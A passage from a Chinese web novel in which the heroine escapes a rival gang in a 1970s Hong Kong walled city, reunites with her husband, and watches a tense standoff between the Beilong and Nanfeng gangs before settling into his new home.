身前身后是源源不断的四九仔围追堵截,收数华不可能指使动这么多人手,唯一的解释是他的顶头老大笑哥派了人手支援。 温苒不清楚这里面发生了什么,让堂堂坐馆掺和进这种小打小闹。 她抓住个四九仔审问,答案出乎意料:“别、别杀我啊!是华哥!收数华跟笑哥说你偷粉倒卖!” 温苒:“……” 她面无表情敲晕四九仔。 人不会做出超出认知以外的事情。 就像某国污蔑别国偷石油,实际上偷粉倒卖的是收数华才对! 可恶! 狗东西祈祷千万别落到她手里,不然让他去臭水沟食屎! 温苒加快速度冲向南城,凭借精准的卦术和过人身手顺利来到连通南北城最宽的长街。 长街路面宽,不像其他小路,三两个人就能彻底堵死。 此时早有人手埋伏在这里守株待兔,温苒不急不慌取出一枚录音笔,输入语音后音量调到最大,选择定时播放,丢在一条狭窄漆黑的巷子里。 不多时,巷子里传出打斗的声响,夹杂着女声愤恨的呵斥。 “滚开!” “偷粉倒卖的是收数华!” “收数华今天必死!” 埋伏的人手一窝蜂冲过去,只余零星几个警惕地看着四周。 别看只有两只手不到的四九仔,但每个人腰间都鼓鼓囊囊,怕是都配了枪。 温苒收回试探地脚步,飞快伪装一番,混进在巷里探明情况的四九仔当中。 从大路走看来行不通,她只能另辟蹊径走小路。 一群人从巷口走到巷尾,却不见半个人影,想也知道是被耍了,骂骂咧咧地往回走。 温苒压下棒球帽,和身旁的四九仔说道:“我要去小路看看,那个女人很可能去了小路。” 四九仔看了她一眼,没什么印象。 可能是其他堂口派来帮忙的,混帮派的都是有今天没明天,北龙帮四个堂口数万的兄弟谁认得全? 他不在意道:“去吧去吧。” 走在人群最后,温苒随机敲晕一个四九仔,拿走他的棍和刀,假装成北龙帮的成员跑向小路。 昏暗的巷子里,一道身影飞快闪过,高声传播最新消息: “兄弟们!中街抓到那个女人了!” 霎时,在每条小巷出口围堵的一群人纷纷向中街挪动。 温苒瞅准时机溜之大吉。 哪怕北龙帮的人很快反应过来,却也只能跟在她后面追赶。 再往前则是南城南凤帮的地盘,两个帮派本就互相防备,北龙帮的人但凡越界,南凤帮绝不会坐视不理。 这无关温苒,而是两帮互相对对方的警惕防备。 收数华这时急匆匆赶来,眼看目标逃之夭夭,狠狠心拔出枪,不管不顾朝着温苒接连开枪。 全然不怕此举是否会引起南凤帮的不满。 两城交界处,枪声响起时,不论南凤帮还是北城帮,亦或是温苒都不敢置信。 收数华这是不要命了?! 温苒躲在墙后,耳畔回响着刚才的几声枪响,震惊的同时还有茫然。 不是? 她不就揍了矮仔强又打了收数华么,至于吗? 收数华脑子让自己吃了? 他不会不知道向南城开枪意味着什么吧? 现在温苒不一定会如何,收数华是一定没有好下场的。 除非收数华听了上面的命令,开枪是有意为之,北龙帮在向南凤帮宣战。 算了不管,她先跑,在北龙帮来要人前,先找到南凤帮龙头谈条件。 乱就乱,乱起来正好,乱起来她才有机会,搞不好真能捞个大佬当一当。 南凤帮的人急匆匆向交界处赶去,路上逮住没来得及撤出南城的北龙帮四九仔,拦下想冲进南城抓人的收数华,聚集起来和先后赶来的北龙帮众对峙。 局势紧张,两帮火并一触即发。 温苒飞速逃向南城中心,一路上瞥见众多交头接耳疑似互相传信的场面。 直到前方奔来一人,高声大喊:“陆爷和北哥回城——已经在来的路上了——” 路上的人无论普通住户还是帮派成员听见这话,瞬间挺直腰板露出笑容,并纷纷向中街移动。 温苒见状停下脚步,跑这么长时间累坏了,她躲在巷口掏出个小马扎坐下休息。 她现在一时半会儿是不用担心自己的人身安全。 在北龙帮的人朝南城开枪的事实面前,收数华要抓她算账的事根本不值一提。 问题则在事后,收数华之所以向南城开枪,归根结底还是为了抓到她。 更可恨的是,收数华还给她安了个莫须有的偷粉倒卖罪名。 北龙帮如果不打算宣战,在开枪一事上理亏,势必要先低头道歉加赔礼,到时里子面子就都丢干净了。 以小见大,看收数华行事可知北龙帮作风霸道,那位三丙堂笑哥被收数华蒙骗得团团转,也不像个聪明人。 北龙帮丢了面子,十有八九得从温苒身上找补回来。 至少得证明收数华开枪是为了抓人,不是为了宣战,更不是泄私愤。 这就不太妙。 所以温苒打算守株待兔。 *** 枪声响起时,霍骁北和陆爷刚下车进城。 陆爷看了眼枪声传来的方向,“是中街。” 他招手唤来人,有条不紊地吩咐下去。 随即一个马仔过来报信,两人才知道原委,飞快赶路前去。 陆爷冷着脸道:“敢在南城放枪,收数华的命我南凤帮要定了!” 霍骁北嗯了声,接着说:“趁这次机会,让北龙帮答应通水电。” 陆爷问他:“那个跑来南城的女人呢?要不要留?” 霍骁北斜看他:“你觉得呢?” 陆爷挠头,“我想留的,北龙帮要的人嘛我偏不想他们得逞,可听说她偷粉倒卖,无论是不是真我们都不好掺和。” 霍骁北只道:“你清楚就好。” 陆爷摇头叹气:“我们南凤帮禁毒好不容易的,现在还不是和北龙帮起冲突的时候。收留了那个女人,就怕北龙帮怀疑我 们觊觎他们的生意,到时就是你死我活啦。” 北龙帮最大的收入来源就是贩毒,动了这块就是结死仇。 虽说他们早就打算好要动,但绝不是现在这个时间。 陆爷一脸可惜问道:“那我们就只好把人交出去了?” 第105章 第105章七零香江作家6 陆爷说完,就看到霍骁北瞥了自己一眼,眼神中很无语。 陆爷:“……” 他深呼吸,那个眼神让他感觉自己是个傻子。 陆爷自认大人大量不跟聪明人一般见识,问他:“那你说怎么办?” 霍骁北回道:“南城是南城,南凤帮是南凤帮。” 陆爷缓缓舒展开两条眉毛,恍然大悟:“对啊!人又不是我们南凤帮的,爱去哪儿去哪儿!咱们南城这么干净,她愿意来是理所当然嘛!” 他转念一想,而且还真不能把人交给北龙帮。 “收数华想和跛脚胜串通卖粉,但他为了活命肯定要说出这条线,北龙帮一定不会放过跛脚胜要的人。” “那个靓妹太惨了,我陆爷一向怜香惜玉,能帮一把肯定要帮的!” 陆爷一脸正气十足说道。 霍骁北对他的夸夸自谈不予理会,不知是谁刚才还在可惜要把人交出去。 陆爷看着他,突如其来地安慰了一句:“北哥你虽然脾气差,但心地善良,总有眼睛不好的女生会看上你的!” 霍骁北:“……” 陆爷说完若有所思地摸着下巴,“做好事不能不留名啊,要不我把那个靓女叫来跟北哥你——” 话没说完,他就被狠狠盯了一眼。 之前像看傻子,现在像看死人。 陆爷不忿:“我好心好意替你张罗人生大事,你怎么不知好歹呢?” “我有妻子,只是暂时跟她失散了。” 霍骁北语气平静,却暗含警告。 陆爷惊讶到险些摔了个跟头,“咩?你有老婆?你竟然真有老婆?” 霍骁北没理他。 他却不依不饶追问:“不是骗我们?一直听你说你有老婆也没见你找过?你们怎么失散的?怎么不让帮里发动人手帮你找?你不会是嫌弃大家帮你介绍女朋友太烦,所以找的借口吧?” 霍骁北拒绝:“不是,不用找。” 他仇人很多,南凤帮的仇人更多。 那些人没办法动他一定会冲一无所知的温苒去,除非两人相认,否则他对温苒而言只是拖累。 所以温苒的信息一丝一毫都不能走漏。 陆爷听完陷入沉思,锤了下手心高声道:“我懂!你是被老婆抛弃了!” 霍骁北:“……” 他现在很有换合作伙伴的冲动,抛弃这个又蠢又没有自知之明的蠢货! 他瞥去冷眼,“闭嘴。” 陆爷闭上嘴,回望的眼神充满了同情。 他懂,他这话戳中好兄弟的心窝子了,现在正难受呢。 行吧,好兄弟就是好兄弟,他不跟好兄弟一般计较。 走到一半,霍骁北突然停下,视线瞥向一处巷口。 恰在这时,温苒听到一行人的动静,伸长脖子向外探头探脑。 陆爷瞥到她的动作,沉声质问:“谁在那儿?出来!” 话音未落,身旁一阵风掠过,向来沉稳不惊泰山崩于前都能面不改色的男人几乎是飞去了那条藏着人的巷子。 陆爷:“???” 他下意识跟上,表情茫然又震惊,巷子里难道是北龙帮的人? 温苒只是转个方向的功夫,再抬头一片阴影罩下来。 她还未来得及反应,就听头顶响起一道熟悉的嗓音:“温苒。” 温苒噌一下仰起脑袋,下一秒扑到来人身上,“霍骁北!” 霍骁北同时蹲下,把人圈进怀里抱紧,“怎么在这儿?饿不饿?” 温苒点着头热泪盈眶,“饿!我昨晚到现在都没来得及吃饭!” 霍骁北转过身蹲在她前面,“我背你,有几家餐馆味道不错,打包带回家,还想吃什么我给你做。” 温苒不客气地点菜:“我想吃叉烧饭,之前来都没吃到,我还想吃蜜汁排骨、香辣鱿鱼……” 跟过来的陆爷:“?!” 他顾不上好奇温苒的身份,连忙问霍骁北:“你不去了?” 霍骁北背着温苒站起来,手里拎着小马扎转身往回走,“你去就行,记得见到龙爷,让他答应通水电。” 温苒拽着他头发,“等等!你们要去哪?是不是要去中街?我也要去!” 陆爷看着温苒放在霍骁北头上的手,眼珠子都快瞪出来了。 已知霍骁北无父无母无兄弟姐妹,跟他关系最近的异性,除了他一直念叨的失散的妻子还能有谁? 所以霍骁北是个老婆奴? 短短半分钟内,陆爷就从所见推测出这个看似离谱但除此外别无可能的结论。 然后一行人继续向中街前进,只是队伍中其他人变得沉默许多。 不过沉默只是表面,实际上,一个个的眼神都不由自主飘向前方那对夫妻,撞在半空时频繁地进行交流。 到中街前,温苒和霍骁北已经交换过双方的情况。 霍骁北也没想到,一直听旁人讨论的几件大新闻都跟他媳妇儿都有关系。 温苒,豪门孙氏二房长女的继女,被卖给新福会福角堂的揸数跛脚胜替同父异母的兄弟还债,然后逃到五象城偶然招惹到收数华。 不知何原因,收数华竟然想置她于死地? 这个问题从霍骁北那里得到了答案。 跛脚胜和孙荣美发悬赏,找北龙帮的朋友抓温苒,收数华得知后想借机和跛脚胜搭上线卖粉,从而在帮里高升。 温苒:“……” 怪不得收数华不惜一切代价都要抓到她,还敢在南城开枪? 那哪是想要温苒的命啊? 那是想保他自己的命! 还有污蔑她偷粉倒卖的罪名,也是为了保收数华自己的命! 抓不到温苒,这罪名就顺利成章推到她头上。 抓到温苒,收数华搭上跛脚胜为帮派生意开拓市场立大功,之前偷粉倒卖的事就可以一笔勾销。 不过冲收数华胆大包天在南城开枪来看,他野心勃勃所图甚大,不甘心继续当笑哥手下的马仔。 陆爷这时出声:“大嫂放心,收数华的命现在是我们南凤帮的,要杀要剐你一句话北哥帮你做!” 温苒看向霍骁北,用眼神询问这谁? 霍骁北介绍:“陆建华,南凤帮现在的龙头。” 温苒眨了眨眼,听说北龙帮的阿公是个五六十岁的老头子,南凤帮这个看着没比她大几岁吧? 一个龙爷,一个陆爷,前者是能当后者爷爷的年纪,很难想象待会儿面对面该怎么称呼对方? 眼下看这位‘陆爷’和霍骁北称兄道弟的,温苒猜测他们关系应该不错,试探说道:“那把收数华交给北龙帮,让北龙帮处置呢?” 陆建华愣了愣,恍然大悟道:“当然没问题!大嫂不喜欢打打杀杀来我们南凤帮正好,我们南凤帮的兄弟很遵纪守法的,杀生这么肮脏的事还是让北龙帮的人去干吧!” 温苒:“……我不是这个意思。” “我是说,把收数华偷粉倒卖和私自与跛脚胜来往的事情告诉笑哥,让笑哥来处置收数华。” 听见这话,陆建华沉默了。 毒! 这招真毒! 陆建华猛地锤手心,“这主意好!收数华背叛笑哥,笑哥为了立威定会让他生不如死!而且还可以卖北龙帮一个人情,让他们没办法拒绝我们提出的要求!” 是他以貌取人了,明明传闻里霍骁北的老婆可是暴打收数华兄弟进医院的! 既然已经确定要卖北龙帮一个人情,一行人也就不着急了,慢慢悠悠迈着步子。 晃悠到中街,两帮的帮众刚骂过几轮,此时正在中场休息。 开枪这种无异于宣战的大事,北龙帮和南凤帮目前正在城里的帮派成员几乎都赶来了现场。 这种规模的人群聚集在路口,将长街堵得前后几十米水泄不通。 一旦动起刀枪来,放在某些小国的史书上恐怕要记录成‘X年X月X日五象城南北两帮发生大战,死伤惨烈,是史上参战人数最多的一场战役’。 两帮龙头的江湖地位非同一般,而龙爷因为年长资历深高陆建华一头,温苒一行到达时,龙爷还未露面。 按照计划,处理收数华时龙爷在不在不重要,他只需要最后点头答应北城通电通水即可。 在人群后摆好阵势,随着一声高喝:“陆爷和北哥到了——” 一声传一声,南凤帮堵在街口的人群向两边散开,陆建华从中慢步到前方。 站定,他抬眼看向对面街口,“六叔,你们帮派笑哥的马仔在我南城开枪,是想宣战吗?” 北龙帮长老六叔还未开口,笑哥身旁一个马仔站出来,立刻顶嘴:“陆爷,收数华为抓人才开枪的!抓的正是陆爷身旁的女人!怎么?这女人偷我们北龙帮的粉卖原来是陆爷指使的!” 他说着,夸张地展开手臂转了一圈,视线划过在场众人。 末了高声嘲笑道:“原来南凤帮的兄弟已经穷到要偷我们北龙帮的粉了!哈哈哈哈——” 南凤帮帮众对这人怒目而视。 其中认识这人的毫不客气地骂回去:“方头辉你找死啊!” 陆建华冷着脸给了笑哥一个眼神,笑哥磨蹭两秒,一脚朝方头辉踹过去:“退下!这里没你说话的份!” 方头辉低下头说是,但脸上的表情还是那样嚣张得意,甚至退下时还挑衅地看着南凤帮。 霍骁北低声:“阿五。” 陆建华身后一个高壮青年随即动作,屈肘抬臂抽枪上膛,砰—— 子弹飞出去的下一秒,方头辉惨叫一声,双膝砸地,整个人跌倒,抱着腿痛苦地在地上翻滚。 南凤帮嘻嘻哈哈打趣:“阿辉别跪啊!再跪我也没钱给你的,谁让我穷啊?” 北龙帮的人却变了脸,愤愤不平地盯着陆建华。 笑哥当即质问:“陆爷,你的人向我北龙帮的人开枪又怎么说?” 陆建华摆摆手,笑着道:“我不用你谢我啦!你们北龙帮的人不懂规矩,我陆爷免费教教他们而已!” “你说呢,阿笑?” 笑哥脸上肌肉抽动。 被一个二十出头小自己十多岁的年轻人喊‘阿笑’,哪怕对方是南凤帮的龙头,地位和自家阿公平起平坐,听起来也实在刺耳。 陆建华喊了一声不够,还批发似的故意接着喊: “阿笑,不是陆爷我非要讲你,你堂堂坐馆是只需懂打打杀杀,但也好歹读几本书的,脑子长了就要拿来用啊!” “不要听风就是雨,别人讲什么就信什么,收数华讲我大嫂偷你们北龙帮的粉倒卖,这种离谱的污蔑栽赃阿笑你竟然也信?” “我大嫂刚进城不过半个月,邻居们都晓得她鲜少出门,阿笑你遣人打听就清楚的,她去哪里偷粉又去哪里卖粉?” “真正偷粉倒卖的是你马仔收数华啊阿笑!” 在场众人被一连串的大消息砸得晕头转向。 一时不知该好奇温苒如何成了陆建华的大嫂? 还是该震惊收数华偷粉倒卖? 亦或是笑哥竟然这么蠢都没发现手下背叛他? 一旁被堵上嘴的收数华瘫在地上抽动两下,绝望地闭上眼睛。 只是心里还存着渺茫希望:不!他还有保命的办法!只要把跛脚胜答应卖粉的事情告诉龙爷!他一定可以将功补过! 笑哥被陆建华一通话说得面色青青紫紫红红,下意识看向鼻青脸肿面容模糊的收数华,阴沉沉的眼神像在看个死人。 他咬牙切齿地说道:“陆爷,收数华在南城开枪是他自作主张,并非是我北龙帮授意,要杀要剐陆爷你随便!” 陆建华挑了挑眉,语重心长道:“阿笑,说你蠢你还真犯蠢?” 笑哥:“……” 陆建华啧啧摇头:“阿笑你恐怕还不知道吧,收数华和新福会福角堂的揸数跛脚胜眉来眼去,打算走他的关系在福角卖粉。” “阿笑,在福角卖粉够不够在你们龙爷面前升个坐馆的?” 陆爷笑眯眯看着笑哥。 笑哥的脸已经黑成了锅底,再也忍不了,抽出枪照着收数华就是砰砰砰三下戳了三个洞。 收数华被南凤帮抓住狠揍一顿的伤势,远不如此时身上的三个洞严重。 鲜血汩汩流淌,收数华听到自己底牌被扒,整个人如坠冰窖,完了! 温苒小声提醒陆建华:“别让他死了,待会儿我还要动手。” 陆建华比了个‘OK’手势,转头高声吩咐手下:“先把人拖到后面。” 接着又是一声‘阿笑’:“阿笑,收数华的命现在是我们南凤帮的。” 笑哥死死盯着人群缝隙中露出来的收数华,他现在怀疑收数华开枪是故意的,就是为了不落在他手里。 笑哥暗暗发誓,就算不落到他手上,南凤帮开执法会时他也要在场,一定要陆爷答应让他试试刀。 不亲自清理门户,他阿笑咽不下这口气! 这时一直未发言的北龙帮长老六叔开口道:“阿华,北龙帮的人不能给你。” 第106章 第106章七零香江作家7 利叔站出来,“六哥,你们北龙帮的四九仔不懂规矩,你也不懂?” 他们南凤帮的龙头老大,就是北龙帮的龙爷来了也得也不能张口闭口喊‘阿华’。 六叔不在意地笑了笑,“阿利啊,不是什么人都要守规矩的!” 利叔嗤之以鼻,“这么说,北龙帮是要宣战了?” 六叔脸上挂着笑,没有应,可也没有否认。 陆建华看了只想笑,这老东西什么意思,又怂又不肯丢脸? 他冷笑,高声回道:“既然六叔代表北龙帮宣战,那我南风帮应了!” 这句话砸下来,中街偌大的路口陷入死寂。 南风帮几位长老和三个堂口的坐馆站出来,大吼:“我南凤帮应战!” 随后是坐馆以下,南凤帮所有成员齐齐喊道:“南风帮应战!” 呼喊声震耳欲聋,响彻中街。 六叔脸色变了变,嘴唇不停动弹想要说什么,却最终也没有讲出拒绝的话来。 同他一样,北龙帮的长老坐馆和在场的所有成员都保持沉默,只是愤怒地盯着前方六叔的背影。 陆建华抬手,“肃静!” 叫喊声瞬间消失。 笑哥这时上前,脸上挤出笑容,“陆爷且慢,我们龙爷还没到……” 陆建华抬手打断他:“君子一言驷马难追,我们南凤帮既应下宣战就定会全力以赴!今日之事也已有定论,收数华冒犯我南凤帮,他的命我南风帮取定了!” 笑哥面上维持不住笑意,在心里把六叔骂个狗血淋头,你踏马算老几说宣战就宣战? 顶着帮里众人愤怒的眼神,六叔两手搭着身前的拐杖,老神在在地闭目养神。 笑哥压低声音,“六叔,你只是帮里长老,不经过投票表决,谁也无法代表帮里下决定!” 六叔睁开眼瞥他,嗓音含笑:“年轻人别冲动,我北龙帮未投票表决,南凤帮也一样。姓陆的小子还嫩了点,我稍微激他,他便争一时之气独断专行。” 和六叔交好的长老帮他说话:“是啊,南凤帮也不是铁桶一块,陆爷到底年轻才刚上位,帮里不是谁都服他的。” 六叔抬起下巴点了点某个位置,“不提别人,那个姓霍的小子恐怕第一个不服。陆建华现在是南风帮陆爷,而他呢?” 笑哥脸色缓了缓。 六叔见状又道:“我们不用动手他们南凤帮就自己乱了,等他们自相残杀,北龙帮再出手获渔翁之利。” 周围人听到,都如笑哥散去面上怒意。 和六叔有过节的长老看不惯他出风头的样子,反驳道:“龙爷未到,这里没有你说话的份!” 六叔握着拐杖用力戳地面,“就是因为龙爷这么长时间都没出现,我们才不能落下风!不然北龙帮的面子往哪里放?” 听见这话,笑哥微眯起眼睛,眼底划过一抹暗光。 北龙帮这场短暂的会议结束得很突然,甚至没能讨论出个结果就戛然而止。 因为南凤帮陆爷正在带人靠近。 不,准确来说,陆建华是‘被带’的其中之一。 而应该属于陆建华的位置,此时是一个女人,正是此次直接引起两帮冲突的那个女人。 温苒走在人群中间,前方霍骁北和陆建华开路,陆建华的贴身保镖阿五拖行收数华,身后是南风帮三大坐馆之一利叔手下五个小队的队长。 一群人雄赳赳气昂昂,霎时叫北龙帮的人戒备起来。 笑哥站出来,“陆爷,这是要做什么?就算开战,也等龙爷来了你们定下时间也不迟。” 温苒回他:“和你们两帮无关,是我和收数华的个人恩怨要做了结。” 她瞥向北龙帮的帮众,嗓音清亮:“麻烦让让,我过来找东西。” 温苒视线挪到哪里,霍骁北和陆建华也就挪到哪里,哪里站着的北龙帮帮众被她们看一眼就下意识躲开,仿佛站着的地面烫脚。 北城不愧是那个北城,南城的中街干净得可以打地铺,北城的中街出现什么都不意外。 找到脏东西,温苒接过阿五手上死狗一样的收数华,拖着他丢过去。 啪叽,收数华的大脸精准地砸中。 陆建华尤嫌不够,抬脚踩在收数华脸上撵了撵。 北龙帮众人敢怒不敢言地瞪着她们。 收数华除了是个人,还是他们北龙帮的人,南凤帮这么做无异于把北龙帮的面子按在臭屎堆上摩擦! 简直欺人太甚! 还有更气人的,霍骁北拿出手绢给温苒擦手,温苒嫌弃地看着北城街道,语气更是万分嫌弃:“南城还算干净,像这样的脏东西只有北城才随处可见。” 暴脾气的听见这话一下就炸了,指着温苒开口就骂:“臭啊——” 只是他喉咙刚溜出个音节,嘴就被狠狠抽歪,连带着整个人倒飞出去砸在人群中。 空中星星点点洒下鲜红血滴,夹杂着几颗碎牙掉在满是脏东西的地面上,咕噜噜滚到收数华脑袋旁边。 一切只发生在眨眼间,所有人还没有反应过来就结束了。 陆建华看着那个被一棍子抽晕的马仔,心说你惹谁不好惹霍骁北媳妇儿? 你惹霍骁北都比惹他媳妇儿下场好! 霍骁北给温苒擦干净手就握着不松开了。 他抬眼看向笑哥:“笑哥,南城不留脏东西,卖你个人情,收数华的命送你了。” 笑哥怔愣下,随即点头:“多谢北哥,我阿笑欠你一份人情。” 他说这话时,视线不着痕迹关注着陆建华的反应。 只见陆建华收回脚,面上没有生气,反而带着笑容说道:“既然事情解决,咱们也该回去吃饭了。” 霍骁北看向温苒,“那就回吧。” 这时一道声音出现:“且慢!” 陆建华不耐烦回头,“六叔又有什么事?我看北龙帮现在不止龙爷,六爷也很有本事。” 六叔脸色沉下来,“把那个女人留下!” 陆建华:“……” 他看着六叔的目光满是同情,真是老寿星上吊嫌命长。 霍骁北平等的不会放过每一个冒犯媳妇儿的人。 他盯着六叔,就是在看个死人。 温苒抬手拦住他,现在不是搞事的时机,她就想赶紧结束赶紧吃口饭。 “刚报完仇我心情好,送你们北龙帮几卦。” 温苒脸上笑盈盈,视线一一划过六叔和笑哥等人。 “收数华,活不过今晚。” “笑哥,下半年必有牢狱之灾。” “六叔,你今年生辰前必定高升!” 收数华不省人事,尚且不清楚自己被断定了死期。 笑哥以及在场其他人只想笑,碍于之前冒犯温苒的人的下场,一个个都憋着没笑出声来,表情很是扭曲。 霍骁北第一时间发表祝贺:“恭喜龙爷,恭喜北龙帮,后继有人。” 北龙帮众人:“……” 唯有六叔故作开怀大笑:“借你们吉言,我孙媳刚查出怀孕三个半月,我今年确实能高升做阿爷。龙爷是我阿六的拜把兄弟,自然也是孩子的干爷爷。龙爷没有子嗣,我们几个兄弟的儿孙也都是龙爷的儿孙,你们说是不是?” 廖廖几声附合响起。 温苒点了点头,“你孙媳生的儿子命还不错,你命中只有一子,你儿子命中也只有这一个孩子,但很可惜的是他克亲。” 六叔的笑容唰一下消失。 温苒的三卦除了第一卦有点可能,其他两卦一卦听起来像诅咒,一卦像拍马屁。 但刚拍完六叔马屁,转头就诅咒他是个什么道理?看得众人都迷糊了。 不止北龙帮的人不信,南凤帮说实话也没几个信,都觉得温苒是在说气话。 陆建华重重地咳嗽,把大家的注意力吸引到他身上。 他认真说道:“依我看,宁可信其有不可信其无,笑哥和六叔还是去找高人看看吧,这人啊作孽做多了就容易有报应。” 愤怒的眼神们从温苒身上挪到陆建华身上。 陆建华挥挥手,“走了!” 回到南凤帮的人群中,霍骁北飞快安排下去:“即刻开始南城所有出入口戒严!” “所有一队,按照演练方案结成小队在A区分散巡逻;所有二队回家吃饭休息,四小时后过来接班;三队继续日常安排,四队五队准备轮班!” “最后,侦查小队随时注意北龙帮动向!” 温苒:“……” 这又是巡逻又是侦查的,怎么听着跟打仗似的? 等每个小队的队长都到跟前,站直跺脚再大喊一声:“是!” ……感觉就更像了。 三个堂口共三个一队,每队都训练有素一般,飞快结成三五个人的小队,一字成列就地有序散开巡逻。 温苒看了一圈,“这就是A区?” 霍骁北嗯了声,仔细跟她解释南城现在的分区。 不仅帮派巡逻遵照这个分区,最新的人口普查编户入册、帮派现行管理也在用这套系统。 温苒:“……” 这一下给她从‘黑帮风云’剧场锤到‘基层社区管理’来了? 难得南风帮全员都在,霍骁北把他们介绍给温苒,互相认识混个脸熟,就到了南凤帮的宿舍楼。 温苒再次:“……” 等发现宿舍楼簇新的墙体,温苒又一次:“……” 你们一个黑帮不仅有宿舍,宿舍楼还是新盖的? 不是?五象城哪里有地给你们新盖一栋、不,是一条街的住楼?! 不用想就知道是霍骁北干的。 可问题是,这座城再有十几年就要拆迁,盖新楼 完全没有性价比。 但不得不说,温苒很满意。 北城和南城的旧楼出租屋面积狭小,且多是混租,合适的单人间并不好找。 温苒前两天来南城看屋,因为不想拖沓节外生枝,所以一开始就瞄准了‘高档出租屋’,三百多平方呎城寨里多人家庭居住的规格。 只是价钱同样美丽,北城十平方米二百港币一月,南城三十平八百多港币一月。 幸好还没签合同。 楼里没有电梯,霍骁北的房子在六楼,每隔三楼有一个大露台,露台上每天有几个小时能晒到太阳。 温苒听着就越来越满意。 等上了楼,看到和北城租屋一样大小的客厅,是北城租屋三倍大的卧室,她叉着腰嘴角就没下来过。 豪宅啊这是! “霍骁北,靠窗的位置放一张书桌,要L型的,长边贴墙,短边挨着书架。” 霍骁北眼睛大致量了下尺寸,“包裹里有差不多合适的桌子和书架,这两天我出城带回来。” 温苒进系统浴室洗漱,霍骁北去炒菜做饭。 上个世界结束后,任务奖励一次抽奖机会,抽出来神厨技能交给了霍骁北。 现在两人身上都是三个技能。 数量不算多,但除非抽奖,她们不打算购入新技能。 迄今为止,也只有温苒曾花费积分购买表演技能。 通过技能学会的知识依旧是她们自己的,就算技能消失该在的还是在,但技能学习本身就是在走捷径。 捷径走得快,但走不远。 她们有不知多长的时间要经历,也有不知多长的时间去学习,不想也不必去走捷径。 蒸上米饭,霍骁北热锅炒菜。 时间来不及,只能先炒几道小炒,费功夫的炖菜可以留到晚饭。 温苒洗完澡出来饱餐一顿,漱漱口上床休息。 卧室里贴了隔音墙纸,窗外和客厅漏进来的声音细微到可以忽略,温苒终于踏实地睡了一觉。 醒来时天都黑了,屋里留了一盏夜灯,温苒打着哈欠下床,出门找霍骁北等饭吃。 一室一厅格局的屋子,温苒走到门边,隐约听见客厅里有说话声。 她折回去裹了张披肩,再回来推开门,就见客厅里已经没有外人了。 “刚才是谁啊?” 温苒问霍骁北。 霍骁北牵着她走到沙发旁,抱着温苒坐在腿上,“是阿五,来替陆建华求情。” 去中街前,陆建华答应得好好的,保证沉住气,用收数华做人情让北城答应通水电。 结果让那老头一激,就不过脑子地宣布开战。 “另外,南城之前妓寨的改造人员由陆建华负责,但一直没有成果,他想请你帮忙。”霍骁北道。 温苒指着自己,“我能帮什么忙?” 她和陆建华才刚认识不到一天吧?他怎么就觉得自己可以帮忙了? 霍骁北又好一番解释:“这条街原先是南城的红灯区,一部分从业人员无家可归,暂时安置在其中一栋新建的住楼里。” 帮派发声明取缔黄赌毒,后两项还好说,南城不能搞就去北城,所以至今还算干净,麻烦的是第一项。 妓寨改造人员大多是被迫从业,或为家人所迫,或为生活所迫,或是年岁尚小就被买卖进来,总归是别无他法才不得已选择这个行业。 从根源上探究,这些人没有生存技能,城寨里也没有适合她们生存的环境。 目前,一部分改造人员洗心革面,接受了帮派安排的工作,诸如扫大街、餐厅帮工、接洗帮派成员衣物等,但终归收入比不上从前。 另有一部分顽固分子继续从前的工作,只不过从客人上门变成了自己上门。 南凤帮正在谋求洗白上岸,阵势闹得挺大,说起来也挺有成果,但按照实际情况恐怕撑不了多久。 温苒好奇:“你们都做了什么?” 五象城里两个帮派可不像城外,城里碍于地盘大小,帮派规模帮派积蓄就差了城外一大截儿。 北城北龙帮经典三样摆在那里,黄赌毒干得如火如荼,也才将将够上层吃肉下层喝汤。 南凤帮在取缔黄赌毒之后,又如何养活数千名成员? 要知道,就和被迫被淫的妓寨从业人员一样,有相当一部分同样是为生活所迫才加入黑帮。 大家听你的话是为了能吃上口饭,当吃不上饭后,谁还傻了吧唧听你的话? 霍骁北细细讲来这半年多带南风帮涉足的行业。 首先是房地产和建材。 上届龙头在新马泰地区置办的养老资产相当可观,他人头落地后,南凤帮全盘接收这些产业。 赶在香江房地产业腾飞的风口上,霍骁北带领南凤帮制售建材和家具大赚一笔。 这也是迄今为止最赚且还在赚钱的一项。 家具厂为南城解决了相当数量的工作岗位,优先帮派成员及其家属入职,目前是南凤帮的大后方。 其次是租金。 新建成的住楼并未对外出租,目前只供内部成员免费住宿。 而腾出来的旧公寓,加上原本帮派所有的出租公寓,租金倒是每月在上涨,但杯水车薪。 最后是出租车行业。 囿于城寨道路规划,城里不便出租车通行,只能在城外发展。 而城外的出租车行业被附近帮派垄断,霍骁北费了些功夫才啃下一块区域。 购买出租车花费不菲,所以现在还处于回本期。 温苒听完默默盯着霍骁北,“都是你做的,那别人呢?” 霍骁北:“他们负责动手。” 当然他动手的次数也不少。 但总体来说温苒明白了,霍骁北就是南凤帮的‘外置大脑’。 “陆建华想把改造工程交给我,你们帮派是什么打算?计划改造成什么程度?还是说给所有人安排工作让她们老老实实工作?” 温苒问他。 霍骁北沉默了片刻,“陆建华想把她们吸纳进帮派,另设第四个堂口,坐馆是妓寨原先的大姐红姐。” 温苒:“……” “然后被拒绝了?” 霍骁北用沉默作为回答。 温苒一把抓住他领口,“我也不当坐馆的,我要当作家,每天都很忙,你们帮派的事情自己解决。” 霍骁北静静和她对视。 温苒:“……” 温苒鼓了鼓腮:“我也没办法,我现在没钱,什么都没有,只能帮忙提供两份助理的工作。” 霍骁北抬手替她捋了捋睡翘起来的头发。 “不用勉强。” 这确实是个难题。 那些人的家人尚且靠不住,这是香江,不是内地,更没有强有力的政府做保障。 温苒松开他,闷闷不乐道:“那我去看看情况,尽量想想办法,能帮一个是一个。” 都让她知道了,难道她还能袖手旁观? 此时宜早不宜迟,吃过晚饭,温苒就和霍骁北去了红姐的理发馆。 恰好她对自己的狗啃头发不满很久了。 理发馆很近,就在同一条街,住楼一层的商铺。 红姐体型微胖,见人就笑,说话温声细气:“阿嫂带北哥来剪头?” 温苒:“……是我剪。” 红姐笑了笑,“阿嫂的头发可以修一修。” 温苒坐到镜子前面,“我叫温苒。” 红姐心领神会,立马改口:“阿苒想剪什么头型?要不要染发呀?” 温苒摇头,“帮我修短就可。” 红姐去拿喷壶打湿温苒头发,动作轻柔地帮她修剪。 温苒打量着理发馆,一边和红姐闲聊,“听说红姐是女生公寓的大姐,对大家的情况都知晓么?” 红姐愣了下,转瞬笑着回道:“差不多,每个姐妹我都认识。” 温苒向她打听:“那其中谁识字谁有一技之长红姐也知道吗?” 